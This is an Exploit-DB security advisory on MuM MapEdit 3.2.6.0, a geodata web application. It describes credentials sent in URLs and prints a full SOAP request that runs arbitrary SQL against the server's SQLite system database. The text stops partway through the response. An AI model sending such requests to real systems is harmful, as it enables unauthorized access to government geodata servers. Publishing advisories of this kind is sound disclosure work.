Exploit-DB #40397
Description: MuM MapEdit 3.2.6.0 - Multiple Vulnerabilities
Type: webapps
Platform: aspx
Date: 2016-09-19
Author: Paul Baade & Sven Krewitt

Exploit:
# Security Advisory -- Multiple Vulnerabilities - MuM Map Edit


## Product

Vendor: Mensch und Maschine Software SE / Mensch und Maschine acadGraph GmbH
Product: MapEdit
Affected software version: 3.2.6.0

MuM MapEdit provides geodata to the internet and intranets and is deployed on several communal and
regional governmental infrastructures to provide geodata to the population. It consists of a
silverlight client and a C#.NET backend. The communication between them is HTTP/S based and involves
the NBFS (.NET Binary Format SOAP).

Link: http://www.mum.de/DE_Autodesk-Topobase-GIS-Datenerfassung-MuM-MapEdit.CAD


## Status/Metrics/Identifier

CVE-ID: tbd
CVSS v2 Vector: (AV:N/AC:L/Au:S/C:C/I:C/A:C)
CVSS Score: 9.0

The CVSS Score reflects the possibility of an attacker to upload web shells and execute them with
the privileges of the web server user.

## Author/Credits

Paul Baade (TÜV Rheinland i-sec GmbH)
Sven Krewitt (TÜV Rheinland i-sec GmbH)


## Fixed Versions

According to MuM all described vulnerabilities are fixed in version 6.2.74, some of them are reportedly
already fixed in version 5.1.


## Authentication via GET Parameter
The application requires users to provide their credentials via GET Parameters. They can therefore
possibly be found in server logs or proxy logs. An example URL would be:

    /Mum.Geo.Services/Start.aspx?AutoUrl=1&Username=TEST&Password=TEST[...]


## Execution of arbitrary SQL commands on contained SQLite DBs
The application contains several SQLite databases. An authenticated user may send POST requests to
the URL /Mum.Geo.Services/DataAccessService.svc. This service is used to execute SQL queries
on the databases.
The content of the POST request is encoded in Microsofts NBFS (.NET Binary Format SOAP) and can be
decoded to the following XML data:

Request:
--------
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
            <s:Header>
                        <a:Action s:mustUnderstand="1">urn:DataAccessService/QueryData</a:Action>
                        <a:MessageID>urn:uuid:b086a157-1bce-41be-b25c-492ab4f6dfa3</a:MessageID>
                        <a:SequenceAcknowledgement>
                                   <a:ReplyTo>http://www.w3.org/2005/08/addressing/anonymous</a:ReplyTo>
                        </a:SequenceAcknowledgement>
                        <a:To s:mustUnderstand="1">http://[host]/Mum.Geo.Services/DataAccessService.svc</a:To>
            </s:Header>
            <s:Body>
                        <QueryData>
                                   <connection i:type="c:SQLiteConnection" xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:c="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess.SQLite">
                                               <b:CurrentRepresentation>
                                                           <b:CollectionFeatureClassName/>
                                                           <b:Id>0</b:Id>
                                                           <b:LineFeatureClassName/>
                                                           <b:Name/>
                                                           <b:PointFeatureClassName/>
                                                           <b:PolygonFeatureClassName/>
                                               </b:CurrentRepresentation>
                                               <b:DbVersion>999</b:DbVersion>
                                               <b:Id>0</b:Id>
                                               <b:Name>SYSTEM</b:Name>
                                               <b:StorageSchemaType>Unknown</b:StorageSchemaType>
                                               <c:Filename>[path_to_MumGeoData]\System\System.db</c:Filename>
                                   </connection>
                                   <sql>select name, caption, version_systemdata from project where id in (select Project_id from usergroup_project where usergroup_id  in (select usergroup_id from user_usergroup where user_id in (select id from user where name='TEST'))) order by caption</sql>
                                   <queryDefinition xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
                                               <b:Columns/>
                                               <b:SRID>0</b:SRID>
                                   </queryDefinition>
                                   <parameterNames xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/>
                                   <parameterValues xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/>
                                   <startRow>1</startRow>
                                   <bufferSize>2000</bufferSize>
                                   <limit>0</limit>
                        </QueryData>
            </s:Body>
</s:Envelope>

The node "Filename" can be used to access different SQLite databases on the system, while the node
"sql" contains the SQL-query to be executed on the system.
Responses to this request are encoded in NBFS as well and can be decoded to the following XML data:

Response:
---------
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
            <s:Header>
                        <a:Action s:mustUnderstand="1">urn:DataAccessService/QueryDataResponse</a:Action>
                        <a:RelatesTo>urn:uuid:b086a157-1bce-41be-b25c-492ab4f6dfa3</a:RelatesTo>
            </s:H